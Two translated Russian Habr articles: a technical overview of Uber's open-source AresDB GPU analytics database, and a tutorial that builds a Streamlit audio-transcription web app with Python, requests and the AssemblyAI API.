В таблице измерения хранятся текущие характеристики объектов (включая города, клиентов и водителей). Например, пользователи могут хранить информацию о городе, в частности название города, временную зону и страну, в таблице измерения. В отличие от таблиц фактов, которые постоянно увеличиваются, таблицы измерений всегда ограничены по размеру (например, для Uber таблица городов ограничена фактическим количеством городов в мире). Таблицы измерений не требуют наличия специального столбца времени.
### Типы данных
В таблице ниже представлены текущие типы данных, которые поддерживаются в AresDB:
В AresDB строки конвертируются в [перечислимые типы](https://en.wikipedia.org/wiki/Enumerated_type) (enums) автоматически перед попаданием в базу данных, чтобы повысить удобство хранения и эффективность запросов. Это позволяет выполнять проверку равенства с учетом регистра, но не поддерживает такие продвинутые операции, как конкатенация, подстроки, маски и сопоставление регулярных выражений. В будущем мы намерены добавить опцию поддержки полной строки.
### Основные функции
Архитектура AresDB поддерживает следующие функции:
* **Хранение на основе столбцов со сжатием** для повышения эффективности хранения (меньший объем использования памяти в байтах для хранения данных) и эффективности запроса (меньший объем обмена данными между памятью CPU и памятью GPU при обработке запроса)
* **Обновление или вставка в реальном времени с дедупликацией первичного ключа** для повышения точности данных и обновления данных в реальном времени в течение нескольких секунд
* **Обработка запросов с использованием GPU** для высокопараллельной обработки данных на GPU с низкой задержкой запроса (от доли секунды до нескольких секунд)
### Столбчатое хранилище
**Вектор**
AresDB хранит все данные в столбчатом формате. Значения каждого столбца хранятся в виде вектора значения столбца. Маркер достоверности/неопределенности значений в каждом столбце хранится в отдельном нулевом векторе, при этом маркер достоверности каждого значения представлен в виде одного бита.
**Активное хранилище**
AresDB хранит несжатые и неотсортированные данные столбцов (активные векторы) в активном хранилище. Записи данных в активном хранилище делятся на (активные) пакеты заданного объема. Новые пакеты создаются при приеме данных, в то время как старые пакеты удаляются после архивации записей. Индекс первичного ключа используется для определения местоположения записей для дедупликации и обновления. На рисунке 3 ниже показано, как мы организуем активные записи и используем значение первичного ключа для определения их местоположения:
[](https://habrastorage.org/webt/sa/ak/mk/saakmkzjumbdukxzaizxhmjbcik.png)
*Рисунок 3. Мы используем значение первичного ключа для определения местоположения пакета и позиции каждой записи внутри пакета.*
Значения каждого столбца в пакете хранятся в виде вектора столбца. Маркер достоверности/неопределенности значений в каждом векторе значения хранится в виде отдельного нулевого вектора, при этом маркер достоверности каждого значения представлен в виде одного бита. На рисунке 4 ниже мы предлагаем пример с пятью значениями для столбца `city_id`:
[](https://habrastorage.org/webt/zp/bs/ld/zpbsldqk0yij-dvewowbgawy8eq.png)
*Рисунок 4. Мы храним значения (фактическое значение) и нулевые вектора (маркер достоверности) несжатых столбцов в таблице данных.*
### Архивное хранилище
AresDB также хранит законченные, отсортированные и сжатые столбчатые данные (векторы архивов) в архивном хранилище через таблицы фактов. Записи в архивном хранилище также распределяются по пакетам. В отличие от активных пакетов, архивный пакет хранит записи за день по всемирному координированному времени (UTC). Архивный пакет использует количество дней в качестве идентификатора пакета еще со времен Unix Epoch.
Записи хранятся в рассортированном виде в соответствии с заданным пользователем порядком сортировки столбцов. Как показано на рисунке 5 ниже, мы производим сортировку сначала по столбцу `city_id`, а затем по столбцу состояния:
[](https://habrastorage.org/webt/ah/qm/dm/ahqmdmonjmy4trbjpzf7lqqdm10.png)
*Рисунок 5. Мы сортируем все строки по city\_id, затем по состоянию, после чего сжимаем каждый столбец путем группового кодирования. После сортировки и сжатия каждый столбец получит учетный вектор.*
Цель настройки порядка сортировки столбцов пользователем заключается в следующем:
* Максимизация эффекта сжатия путем сортировки столбцов с небольшим количеством элементов в первую очередь. Максимальное сжатие повышает эффективность хранения (меньше байтов требуется для хранения данных) и эффективность запроса (меньше байтов передается между памятью CPU и памятью GPU).
* Обеспечение удобной предварительной фильтрации на основе диапазонов для общих эквивалентных фильтров, например city\_id=12. Предварительная фильтрация позволяет минимизировать количество байтов, необходимое для передачи данных между памятью CPU и памятью GPU, что максимизирует эффективность запроса.
Столбец сжимается только в том случае, если он присутствует в заданном пользователем порядке сортировки. Мы не пытаемся сжимать столбцы с большим количеством элементов, поскольку экономию памяти это дает незначительную.
После сортировки данные для каждого квалифицированного столбца сжимаются с помощью определенного варианта группового кодирования. Помимо вектора значения и нулевого вектора мы вводим учетный вектор для повторного представления того же значения.
### Прием данных в реальном времени с поддержкой функций обновления и вставки
Клиенты получают данные через HTTP API путем публикации пакета обновления. Пакет обновления является специальным упорядоченным двоичным форматом, который минимизирует использование пространства, сохраняя при этом произвольный доступ к данным.
Когда AresDB получает пакет обновления, он сначала записывает пакет обновления в журнал регистрации операций для восстановления. Когда в конец журнала регистрации событий добавляется пакет обновлений, AresDB идентифицирует и пропускает поздние записи в таблицах фактов для использования в активном хранилище. Запись считается «поздней», если время события расположено раньше архивного времени события отключения. В отношении записей, которые не считаются «поздними», AresDB использует индекс первичного ключа для определения местоположения пакета внутри активного хранилища, куда их нужно вставить. Как показано на рисунке 6 ниже, новые записи (не встречавшиеся ранее на базе значения первичного ключа) вставляются в пустое пространство, а существующие записи обновляются напрямую:
[](https://habrastorage.org/webt/px/y9/ee/pxy9eenpxhgejwvtih8gg37rppu.png)
*Рисунок 6. При получении данных, после добавления пакета обновления в журнал регистрации событий, «поздние» записи добавляются в обратную очередь, а прочие записи — в активное хранилище.*
### Архивирование
При получении данных записи либо добавляются/обновляются в активном хранилище, либо добавляются в обратную очередь, ожидающую помещения в архивное хранилище.
Мы периодически запускаем плановый процесс, обозначаемый как архивирование, в отношении записей активного хранилища для присоединения новых записей (записей, которые ранее никогда не архивировались) к архивному хранилищу. Процесс архивирования только обрабатывает записи в активном хранилище со временем события в диапазоне между старым временем отключения (время отключения с последнего процесса архивирования) и новым временем отключения (новое время отключения на основе параметра задержки архивирования в схеме таблицы).
Время события записей используется для определения того, в какой архивный пакет должны быть объединены записи при пакетировании архивных данных в ежедневные пакеты. Архивирование не требует дедупликации индекса значения первичного ключа при объединении, поскольку архивируются только записи в диапазоне между старым и новым временем отключения.
На рисунке 7 ниже представлен график согласно времени события определенной записи.
[](https://habrastorage.org/webt/6t/l6/uc/6tl6ucxgbni_inkqwjo8u0pxcrs.png)
*Рисунок 7. Мы используем время события и время отключения для определения записей как новых (активных) и старых (время события расположено раньше архивного времени события отключения).*
В этом случае интервал архивирования представляет собой временной промежуток между двумя процессами архивирования, а задержка архивирования представляет собой период после времени события, но до момента возможного архивирования события. Оба параметра определяются в настройках схемы таблицы AresDB.
### Обратное заполнение
Как показано на рисунке 7 выше, старые записи (время события которых расположено раньше архивного времени события отключения) для таблиц фактов добавляются в обратную очередь и в конечном итоге обрабатываются в рамках процесса обратного заполнения. Триггерами этого процесса также являются время или размер обратной очереди, если она достигает порогового уровня. По сравнению с процессом добавления данных в активное хранилище обратное заполнение является асинхронным и относительно более дорогостоящим с точки зрения ресурсов CPU и памяти. Обратное заполнение используется в следующих сценариях:
* Обработка случайных, очень поздно полученных данных
* Ручная фиксация исторических данных из восходящего потока данных
* Внесение исторических данных в недавно добавленные столбцы
В отличие от архивирования, процесс обратного заполнения является идемпотентным и требует дедупликации на основе значения первичного ключа. Заполняемые данные в конечном итоге будут видны для запросов.
Обратная очередь поддерживается в памяти с предварительно заданным размером, и при большой нагрузке обратного заполнения процесс будет заблокирован для клиента до очистки очереди путем запуска процесса обратного заполнения.
### Обработка запроса
В текущем варианте реализации пользователю нужно использовать язык [Ares Query Language](https://github.com/uber/aresdb/wiki/Ares-Query-Language) (AQL), созданный Uber для выполнения запросов в AresDB. AQL — это эффективный язык для аналитических запросов по временным рядам и не следует стандартному синтаксису SQL типа «SELECT FROM WHERE GROUP BY», как другие схожие с SQL языки. Вместо этого AQL используется в структурированных полях и может входить в объекты JSON, YAML и Go. Например, вместо `ВЫБРАТЬ/SELECT пункт(*) ИЗ/FROM ГРУППЫ поездок ПО/GROUP BY city_id, ГДЕ/WHERE статус = «завершено» И/AND request_at >= 1512000000`, эквивалентный вариант AQL в JSON записывается следующим образом:
```
{
“table”: “trips”,
“dimensions”: [
{“sqlExpression”: “city_id”}
],
“measures”: [
{“sqlExpression”: “count(*)”}
],
;”> “rowFilters”: [
“status = ‘completed'”
],
“timeFilter”: {
“column”: “request_at”,
“from”: “2 days ago”
}
}
```
В формате JSON AQL предлагает разработчикам информационной панели и системы принятия решений более удобный алгоритм программного запроса, чем SQL, позволяя им легко составлять запросы и манипулировать ими с помощью кода, не беспокоясь о таких вещах, как внедрение SQL. Он выступает в качестве универсального формата запросов для типичных архитектур веб-браузеров, внешних и внутренних серверов вплоть до базы данных (AresDB). Кроме того, AQL предоставляет удобный [синтаксический прием](https://en.wikipedia.org/wiki/Syntactic_sugar) для фильтрации по времени и пакетирования с поддержкой собственной временной зоны. Кроме того, язык поддерживает ряд функций, например неявные подзапросы, для предотвращения распространенных ошибок в запросах и облегчает процессы анализа и перезаписи запросов для разработчиков внутреннего интерфейса.
Несмотря на множество преимуществ, которые предлагает AQL, мы прекрасно понимаем, что большинство инженеров лучше знакомо с SQL. Предоставление интерфейса SQL для выполнения запросов является одним из следующих шагов, которые мы рассмотрим в рамках работы по улучшению взаимодействия с пользователями AresDB.
Схема выполнения запроса AQL представлена на рисунке 8 ниже:
[](https://habrastorage.org/webt/c7/bo/qq/c7boqqkfrjkqgn8i2zeb1ji6wje.png)
*Рисунок 8. В схеме выполнения запросов AresDB используется наш собственный язык запросов AQL для быстрой и эффективной обработки и извлечения данных.*
### Компиляция запросов
Запрос AQL компилируется во внутренний контекст запроса. Выражения в фильтрах, измерениях и параметрах анализируются в абстрактных синтаксических деревьях (AST) для последующей обработки через графический процессор (GPU).
### Загрузка данных
В AresDB используются предварительные фильтры для дешевой фильтрации архивных данных перед их отправкой в GPU для параллельной обработки. Поскольку архивные данные сортируются в соответствии с настроенным порядком столбцов, некоторые фильтры могут использовать этот порядок сортировки и метод двоичного поиска для установления соответствующего диапазона соответствия. В частности, эквивалентные фильтры для всех изначально отсортированных Х столбцов и дополнительный фильтр диапазона для отсортированных столбцов X+1 могут использоваться в качестве предварительных фильтров, как показано на рисунке 9 ниже.
[](https://habrastorage.org/webt/mq/gj/cw/mqgjcwi-es1twxn2navrzd6bhki.png)
*Рисунок 9. AresDB производит предварительную фильтрацию данных столбцов перед их отправкой в GPU для обработки.*
После предварительной фильтрации только зеленые значения (отвечающие условию фильтра) должны направляться в GPU для параллельной обработки. Входные данные загружаются в GPU и обрабатываются по одному пакету за раз. Сюда относятся как активные пакеты, так и архивные пакеты.
В AresDB используются [потоки CUDA](https://devblogs.nvidia.com/gpu-pro-tip-cuda-7-streams-simplify-concurrency/) для конвейерной загрузки и обработки данных. По каждому запросу поочередно применяются два потока для обработки в два перекрывающихся этапа. На рисунке 10 ниже мы предлагаем график, иллюстрирующий этот процесс.
[](https://habrastorage.org/webt/gg/b-/hv/ggb-hvvb1tbno_uq2rbokxu1ehi.png)
*Рисунок 10. В AresDB два потока CUDA поочередно занимаются передачей и обработкой данных.*
### Выполнение запроса
Для простоты в AresDB используется [библиотека Thrust](https://developer.nvidia.com/thrust) для реализации процедур выполнения запроса, которая предлагает блоки точно настроенного параллельного алгоритма для быстрой реализации в текущем инструменте запросов.
В Thrust входные и выходные векторные данные оцениваются с помощью случайных итераторов доступа. Каждый поток GPU ищет входные итераторы в своей рабочей позиции, считывает значения и выполняет вычисления, а затем записывает результат в соответствующую позицию в выходном итераторе.
Для вычисления выражений AresDB следует модели «один оператор на одно ядро» (OOPK).
На рисунке 11 ниже эта процедура демонстрируется на примере AST, сгенерированного из выражения размерности `request_at – request_at % 86400` на этапе компиляции запроса:
[](https://habrastorage.org/webt/rq/zd/cq/rqzdcq1dpy3vnwhi8tjqppsxroq.png)
*Рисунок 11. AresDB использует модель OOPK для вычисления выражений.*
В модели OOPK механизм запросов AresDB обходит каждую конечную ноду дерева AST и возвращает итератор для исходной ноды. Если корневая нода также является конечной, действие корня выполняется непосредственно на входном итераторе.
Для каждой некорневой неконцевой ноды ([операция по модулю](https://en.wikipedia.org/wiki/Modulo_operation) в этом примере) временный вектор рабочего пространства выделяется для хранения промежуточного результата, полученного из выражения `request_at% 86400`. С помощью Thrust запускается функция ядра для вычисления результата по этому оператору в GPU. Результаты хранятся в итераторе рабочего пространства.
Для корневой ноды функция ядра запускается таким же образом, как и для некорневой, неконечной ноды. Различные выходные действия выполняются на основе типа выражения, что подробно описано ниже:
* Фильтрация для сокращения количества элементов входных векторов
* Запись выходных данных измерений в векторе измерений для последующего объединения данных
* Запись выходных данных параметров в векторе параметров для последующего объединения данных
После вычисления выражения выполняются [сортировка](https://thrust.github.io/doc/group__sorting.html) и [преобразование](https://thrust.github.io/doc/group__reductions.html) для окончательного объединения данных. В операциях сортировки и преобразования мы используем значения вектора измерений в качестве ключевых значений сортировки и преобразования, а значения вектора параметров — в качестве значений для объединения данных. Таким образом, строки с аналогичными значениями измерений группируются и объединяются. На рисунке 12 ниже показан этот процесс сортировки и преобразования.
[](https://habrastorage.org/webt/ki/wn/hg/kiwnhgruuhvlm2wenraxbrwhwwk.png)
*Рисунок 12. После вычисления выражения AresDB сортирует и преобразует данные по ключевым значениям векторов измерений (ключевое значение) и параметров (значение).*
AresDB также поддерживает следующие продвинутые функции запроса:
* [Join](https://github.com/uber/aresdb/wiki/Join): в настоящее время AresDB поддерживает опцию соединения хешированием между таблицей фактов и таблицей измерений
* [Оценка количества элементов Hyperloglog](https://github.com/uber/aresdb/wiki/HyperLogLog): В AresDB используется алгоритм Hyperloglog
* [Geo Intersect](https://github.com/uber/aresdb/wiki/Geo-Intersection): в настоящее время AresDB поддерживает только взаимосвязанные операции между GeoPoint и GeoShape
### Управление ресурсами
Будучи базой данных на основе внутренней памяти, AresDB должен управлять следующими типами использования памяти:
При запуске AresDB в работу он использует настроенный общий бюджет памяти. Бюджет делится на все шесть типов памяти и также должен оставлять достаточно пространства для операционной системы и других процессов. Этот бюджет также включает статически настроенную оценку перегрузки, активное хранилище данных, отслеживаемое сервером, и архивные данные, которые сервер может решить загрузить и удалить в зависимости от оставшегося бюджета памяти.
На рисунке 13 ниже представлена модель памяти хоста AresDB.
[](https://habrastorage.org/webt/no/dq/2t/nodq2t_tlr0fn-cy6ubrdwpqofi.png)
*Рисунок 13. AresDB управляет собственным использованием памяти, чтобы оно не превышало настроенный общий бюджет процесса.*
AresDB позволяет пользователям настроить дни предварительной загрузки и приоритеты на уровне столбцов для таблиц фактов и производит предварительную загрузку архивных данных только в дни предварительной загрузки. Данные, не загруженные предварительно, загружаются в память из диска по требованию. При заполнении AresDB также удаляет архивные данные из памяти хоста. Принципы удаления AresDB опираются на следующие параметры: количество дней предварительной загрузки, приоритеты столбцов, день составления пакета и размер столбца.
AresDB также управляет несколькими устройствами GPU и моделирует ресурсы устройства как потоки GPU и память устройства, отслеживая использование памяти GPU для обработки запросов. AresDB управляет устройствами GPU через менеджер устройств, который моделирует ресурсы устройства GPU в двух измерениях (потоки GPU и память устройства) и отслеживает использование памяти при обработке запросов. После компиляции запроса AresDB позволяет пользователям оценить объем ресурсов, необходимых для выполнения запроса. Требования по памяти устройства должны быть выполнены до того, как будет разрешен запрос; если в данный момент на любом устройстве недостаточно памяти, запрос должен ожидать выполнения. В настоящее время AresDB может выполнять один или несколько запросов на одном устройстве GPU одновременно, если устройство отвечает всем требованиям по ресурсам.
В текущем варианте реализации AresDB не кеширует входные данные в памяти устройства для повторного использования в нескольких запросах. AresDB нацелен на поддержку запросов к наборам данных, которые постоянно обновляются в режиме реального времени и слабо поддаются корректному кешированию. В будущих версиях AresDB мы намерены реализовать функции кеширования данных в памяти GPU, что поможет оптимизировать производительность запросов.
### Пример использования: обзорная информационная панель Uber
В Uber мы используем AresDB для создания информационных панелей для получения бизнес-информации в режиме реального времени. AresDB отвечает за хранение первичных событий с постоянными обновлениями и вычисление критических метрик для них за доли секунды благодаря ресурсам GPU при низких затратах, таким образом, пользователи могут использовать информационные панели в интерактивном режиме. Например, анонимизированные данные о поездках, которые имеют длительный срок действия в хранилище данных, обновляются несколькими службами, включая нашу диспетчерскую систему, системы оплаты и оценки. Для эффективного использования данных о поездках пользователи разделяют и разбивают данные по разным измерениям, чтобы получить представление о решениях в реальном времени.
При использовании AresDB сводная информационная панель Uber — это широко распространенная информационная панель анализа, которая применяется командами внутри компании для получения соответствующих произведений метрик и реагирования в реальном времени для улучшения взаимодействия с пользователями.
[](https://habrastorage.org/webt/p-/8e/k6/p-8ek6nx3gioyhngzczop7oh1jw.png)
*Рисунок 14. В почасовом режиме обзорная информационная панель Uber использует AresDB для просмотра аналитики данных в реальном времени в течение определенных периодов.*
Чтобы создать макет информационной панели, приведенной выше, мы смоделировали следующие таблицы:
**Поездки (таблица фактов)**
**Города (таблица измерений)**
### Схемы таблиц в AresDB
Для создания двух моделируемых таблиц, описанных выше, сначала нам нужно создать таблицы в AresDB по следующим схемам:
Как описано в схеме, таблицы поездок создаются в качестве таблиц фактов, которые отражают события поездок, происходящие в реальном времени, а таблицы городов создаются в качестве таблиц измерений, в которых хранится информация о фактических городах.
После создания таблиц пользователи могут использовать [клиентскую библиотеку AresDB](https://github.com/uber/aresdb/blob/master/client/connector.go#L48) для загрузки данных из шины событий, например Apache [Kafka](https://kafka.apache.org/), или с платформ потоковой или пакетной обработки, например Apache [Flink](https://flink.apache.org/) или Apache [Spark](https://spark.apache.org/).
### Примеры запросов для AresDB
В пробных информационных панелях мы выбираем в качестве примера две метрики, «общий тариф на поездку» и «активные водители». В информационной панели пользователи могут отфильтровать город по метрикам, например Сан-Франциско. Для отображения временных рядов по этим двум метрикам за последние 24 часа в информационных панелях можно запустить следующие запросы AQL:
**Пример результатов по запросу:**Результатом приведенных выше пробных запросов будут следующие временные ряды, которые можно легко представить на графиках временных рядов, как показано ниже.
В приведенном выше примере мы продемонстрировали, как можно использовать AresDB для приема первичных событий, происходящих в режиме реального времени, в течение нескольких секунд и немедленного выполнения произвольных пользовательских запросов данных для вычисления метрик за доли секунды. AresDB помогает инженерам в создании средств обработки данных, которые определяют критически важные для бизнеса метрики, что требует понимания человеческих или автоматических решений в реальном времени.
### Следующие шаги
AresDB широко используется в Uber для поддержки информационных панелей анализа данных в реальном времени, что позволяет принимать соответствующие решения на основе данных по множеству аспектов бизнеса. Открывая исходный код этого инструмента, мы надеемся, что другие представители сообщества смогут использовать AresDB в своих аналитических целях.
В будущем мы намерены добавить в проект следующие функции:
* **Распределенное проектирование**: мы работаем над созданием функционала распределенного проектирования в AresDB, включая репликацию, управление разделением и управление схемами, для повышения уровня масштабируемости и снижения эксплуатационных расходов.
* **Поддержка и инструментарий разработчика**: с момента открытия исходного кода AresDB в ноябре 2018 года мы работали над созданием более интуитивного инструментария, реорганизацией структур кода и расширением документации для улучшения взаимодействия с пользователем, что позволит разработчикам быстро интегрировать AresDB в свою аналитическую систему.
* **Расширенный набор функций**: мы также планируем расширить набор функций запроса, включив в него такие функции, как оконные функции и функции объединения с помощью вложенных циклов, что позволит инструменту поддерживать больше вариантов использования.
* **Оптимизация механизма запроса**: мы также собираемся заниматься разработкой более эффективных способов оптимизации производительности запросов, например на основе [низкоуровневой виртуальной машины (LLVM)](https://llvm.org/) и кеширования памяти GPU.
AresDB имеет [открытый исходный код](https://github.com/uber/aresdb) по лицензии Apache. Мы приглашаем вас попробовать AresDB и присоединиться к нашему сообществу.
*Если вас интересует разработка технологий крупномасштабного анализа данных в реальном времени, подумайте о подаче заявки на работу в нашей команде.*
### Благодарности
*Особая благодарность Кейт Чанг (Kate Zhang), Дженнифер Андерсон (Jennifer Anderson), Нихилу Джоши (Nikhil Joshi), Аби Куну (Abhi Khune), Шене Цзи (Shengyue Ji), Чинмэю Сомэну (Chinmay Soman), Сяну Фу (Xiang Fu), Дэвиду Чену (David Chen) и Ли Нингу (Li Ning) за то, что обеспечили невероятный успех этого проекта!* | https://habr.com/ru/post/440072/ | null | ru | null |
# Разработка веб-приложения для транскрибирования аудиозаписей с использованием Python, Streamlit и AssemblyAI
Автор статьи, перевод которой мы публикуем сегодня, хочет рассказать о том, как, пользуясь Streamlit, создать веб-приложение, которое позволяет пользователям транскрибировать аудиозаписи, выгружая их на специальный сервер. В проекте будет использован API AssemblyAI, позволяющий преобразовывать звукозапись речи в текст. Интерфейс проекта, достаточно строгий, будет украшен анимациями.
Приложение, о котором тут пойдёт речь, можно испытать [здесь](https://share.streamlit.io/mesmith027/assemblyai_webapp/main/main.py).
[](https://habr.com/ru/company/ruvds/blog/556158/)
*Веб-приложение в действии*
Транскрибирование — это процесс преобразования аудиозаписи в текст. Хотя можно создать собственную систему, основанную на технологиях машинного обучения, предназначенную для извлечения текста из звука, это — весьма трудоёмкая задача:
* Для извлечения признаков из аудиосигнала требуются глубокие знания в сфере обработки звуковых сигналов.
* Нужно будет как-то достать (например — пользуясь методами добычи информации или веб-скрапинга) из разных источников большие объёмы данных.
* Для построения модели нужно уметь обращаться с соответствующими библиотеками для машинного обучения, с такими, как PyTorch или TensorFlow.
К счастью, существует проект AssemblyAI, возможности которого, доступные даже в рамках бесплатного тарифного плана, позволяют транскрибировать аудиозаписи, выполнив буквально несколько запросов к соответствующему API.
В этом материале я расскажу о том, как создать веб-приложение, которое позволяет транскрибировать аудиозаписи с использованием AssemblyAI. Графическая часть приложения создана с помощью [Streamlit](https://streamlit.io/) — Python-фреймворка, предназначенного для создания интерфейсов приложений из сферы машинного обучения.
Полный исходный код проекта можно найти в [этом](https://github.com/rahulbanerjee26/AssemblyAI_WebApp) репозитории.
Предварительные требования
--------------------------
Для того чтобы создать этот проект нам понадобится следующее:
* Учётная запись AssemblyAI ([тут](https://app.assemblyai.com/login/) можно зарегистрироваться в системе, это бесплатно).
* Ключ к API AssemblyAI (найти его можно [здесь](https://app.assemblyai.com/dashboard/)).
* Знание основ Python 3.5+ (обратите внимание на то, что тут я буду пользоваться Python 3.9).
* Умение работать с библиотекой [requests](https://docs.python-requests.org/en/master/) (это не обязательно, но желательно).
Обзор используемых инструментов
-------------------------------
### ▍AssemblyAI
Проект [AssemblyAI](https://www.assemblyai.com/) используется для преобразования аудиозаписей в текст. Он предоставляет REST API, им можно пользоваться из программ, написанных на любом языке программирования, который позволяет выполнять запросы к подобным API. Это, например, JavaScript, PHP, Python и так далее. Мы будем выполнять запросы к API из программы, написанной на Python.
### ▍Streamlit
[Streamlit](https://streamlit.io/) — то опенсорсный фреймворк для разработки пользовательских интерфейсов приложений, в которых применяются технологии машинного обучения. Для эффективного применения этого фреймворка не нужно знать HTML, CSS или JavaScript. В нём имеется обширная библиотека готовых компонентов, которые можно применять для быстрой разработки простых интерфейсов.
### ▍Requests
[Requests](https://requests.readthedocs.io/) — это Python-библиотека, которую мы будем использовать для выполнения запросов к REST API AssemblyAI.
### ▍Python-dotenv
[Python-dotenv](https://pypi.org/project/python-dotenv/) — это библиотека, с помощью которой мы будем считывать значения переменных из файлов `.env`.
Настройка директории проекта
----------------------------
Создадим новую директорию, воспользовавшись инструментами командной строки:
```
mkdir ASSEMBLYAI
```
Для организации надёжного хранения секретных данных рекомендуется записывать их в файлы `.env`. Для того чтобы читать такие данные из подобных файлов — можно воспользоваться библиотекой [python-dotenv](https://pypi.org/project/python-dotenv/). Ещё одним допустимым способом хранения секретных данных является их запись в переменные окружения.
В нашей новой директории `ASSEMBLYAI` создадим два Python-файла и один файл `.env`:
В Windows это делается так:
```
New-Item main.py, transcribe.py, .env
```
В macOS или в Linux можно воспользоваться такой командой:
```
touch main.py && touch transcribe.py && touch .env
```
Файл `main.py` будет содержать весь код, имеющий отношение к интерфейсу приложения, созданному с помощью Streamlit. В файле `transcribe.py` будет находиться код вспомогательных функций и код, реализующий взаимодействие с API AssemblyAI.
[Отсюда](https://s3-us-west-2.amazonaws.com/blog.assemblyai.com/audio/8-7-2018-post/7510.mp3) можно загрузить MP3-файл для экспериментов. Назовём его `testData.mp3` и сохраним в папке `ASSEMBLYAI`.
Настройка окружения проекта
---------------------------
Сейчас мы должны находиться в директории `ASSEMBLYAI`. Если это не так, и мы, например, находимся в её родительской директории, перейти в неё можно с помощью следующей команды:
```
cd ASSEMBLYAI
```
Если вы раньше не работали с виртуальными окружениями — это значит, что вам, для продолжения работы, потребуется установить [virtualenv](https://pypi.org/project/virtualenv/).
В Windows это делается так:
```
python -m pip install -user virtualenv
```
В macOS и в Linux — так:
```
python3 -m pip install -user virtualenv
```
Сначала надо создать виртуальное окружение.
Вот вариант соответствующей команды для Windows:
```
python -m venv venv
```
Вот — команда для macOS или Linux:
```
python3 -m venv venv
```
Затем нужно будет активировать локальное виртуальное окружение.
В Windows это делается так:
```
venv/Scripts/activate
```
В macOS или Linux — так:
```
source venv/bin/activate
```
Подробности о настройке виртуальных окружений ищите [здесь](https://packaging.python.org/guides/installing-using-pip-and-virtual-environments/).
Для установки библиотек requests, steamlit и python-dotenv можно воспользоваться следующей командой:
```
pip install streamlit, requests, python-dotenv
```
После этого будут установлены свежие версии соответствующих библиотек.
Теперь содержимое папки `ASSEMBLYAI` должно выглядеть так, как показано на следующем рисунке.
*Содержимое папки ASSEMBLYAI*
Добавление ключа API в файл .env
--------------------------------
* Откроем файл `.env`, который мы создали ранее.
* Добавим в него следующее:
```
API_TOKEN = "Your API Key"
```
* Строку `Your API Key` нужно заменить на ключ API, полученный на сайте [AssemblyAI](https://app.assemblyai.com/dashboard/).
Клонирование репозитория и запуск проекта
-----------------------------------------
Возможно вы, перед работой над собственным вариантом проекта, решите испытать готовое приложение на своём компьютере. Сделать это можно так:
* Перейдём в соответствующий [GitHub-репозиторий](https://github.com/rahulbanerjee26/AssemblyAI_WebApp) и загрузим его материалы.
* Откроем командную строку и перейдём в папку с загруженными материалами.
* Настроим виртуальное окружение так, как описано выше.
* Активируем виртуальное окружение.
* Создадим в папке с загруженными материалами файл `.env` и добавим в него ключ API (этот процесс описан в предыдущем разделе).
* Необходимые библиотеки можно либо установить вручную, либо — воспользовавшись файлом `requirements.txt`, который имеется в папке проекта.
В Windows библиотеки можно установить так:
```
pip install streamlit, requests, python-dotenv
```
В macOS и Linux — так:
```
pip install streamlit requests python-dotenv
```
Или — так:
```
pip install -r requirements.txt
```
После того, как установлены все необходимые зависимости, выполним следующую команду:
```
streamlit run main.py
```
Должно запуститься веб-приложение, которое можно испытать, передав ему звуковой файл.
Транскрибирование MP3-файлов
----------------------------
Прежде чем приступать к разработке интерфейса, нам понадобится несколько вспомогательных функций. Их мы будем использовать для выгрузки звуковых файлов на сервер AssemblyAI, который обработает файлы и возвратит нам их текстовое представление.
Код вспомогательных функций размещается в файле `transcribe.py`.
Импорт модулей, необходимых для работы вспомогательных функций
--------------------------------------------------------------
Следующий фрагмент кода надо разместить в начале файла `transcribe.py`:
```
import os
from dotenv import load_dotenv
import requests
```
Вспомогательная функция №1: выгрузка локального аудиофайла на сервер AssemblyAI
-------------------------------------------------------------------------------
Первая функция, которую нам надо написать, отвечает за выгрузку на сервер AssemblyAI файла, хранящегося на нашем компьютере. Эта функция должна располагаться в файле `transcribe.py`.
Модель AssemblyAI ожидает, что к файлу можно будет обратиться по URL. Поэтому аудиофайл надо загрузить в blob-хранилище, что и позволит передать AssemblyAI необходимый URL. К нашему счастью, платформа AssemblyAI даёт нам механизм для быстрого и простого решения этой задачи.
А именно, нам нужно выполнить POST-запрос к следующей конечной точке API AssemblyAI:
```
https://api.assemblyai.com/v2/upload
```
В ответе на этот запрос будет содержаться временный URL для нашего файла. Этот URL можно передать другой конечной точке API AssemblyAI, которая носит имя `transcript`. Это — приватный URL, поэтому обращаться к нему могут только серверы AssemblyAI.
Все загруженные файлы после завершения транскрибирования немедленно удаляются. Сервис ничего не хранит.
Для выполнения POST-запроса мы воспользуемся ранее установленной библиотекой requests:
```
def get_url(token,data):
'''
Parameter:
token: The API key
data : The File Object to upload
Return Value:
url : Url to uploaded file
'''
headers = {'authorization': token}
response = requests.post('https://api.assemblyai.com/v2/upload',
headers=headers,
data=data)
url = response.json()["upload_url"]
print("Uploaded File and got temporary URL to file")
return url
```
* Функция принимает пару параметров — токен API и объект, представляющий выгружаемый файл.
* Мы выполняем POST-запрос к вышеупомянутому API AssemblyAI. В тело запроса мы включаем токен API и объект файла.
* Объект ответа содержит URL выгруженного файла. Именно его и возвращает эта функция.
Вспомогательная функция №2: передача файла на транскрибирование
---------------------------------------------------------------
Теперь у нас имеется функция, которая позволяет получить URL, ведущий к выгруженному на сервер AssemblyAI аудиофайлу. Мы воспользуемся этим URL для выполнения запроса к конечной точке, позволяющей выполнить расшифровку файла. Код функции, ответственной за это, будет находиться в файле `transcribe.py`.
Изначально запрос на транскрибирование аудиофайла приводит к созданию задания, пребывающего в состоянии `queued`, то есть — задания, поставленного в очередь. О том, как узнать о завершении этого задания, то есть — о его переходе в состояние `completed`, мы поговорим, описывая нашу последнюю вспомогательную функцию. Пока же мы поработаем над функцией, которая позволит выполнить запрос к конечной точке `transcript`, передав ей URL нашего файла. А именно, запрос нужно отправить по следующему адресу:
```
https://api.assemblyai.com/v2/transcript
```
Эта функция очень похожа на предыдущую:
```
def get_transcribe_id(token,url):
'''
Parameter:
token: The API key
url : Url to uploaded file
Return Value:
id : The transcribe id of the file
'''
endpoint = "https://api.assemblyai.com/v2/transcript"
json = {
"audio_url": url
}
headers = {
"authorization": token,
"content-type": "application/json"
}
response = requests.post(endpoint, json=json, headers=headers)
id = response.json()['id']
print("Made request and file is currently queued")
return id
```
* Функция принимает два параметра: токен API и URL аудиофайла, полученный от предыдущей функции.
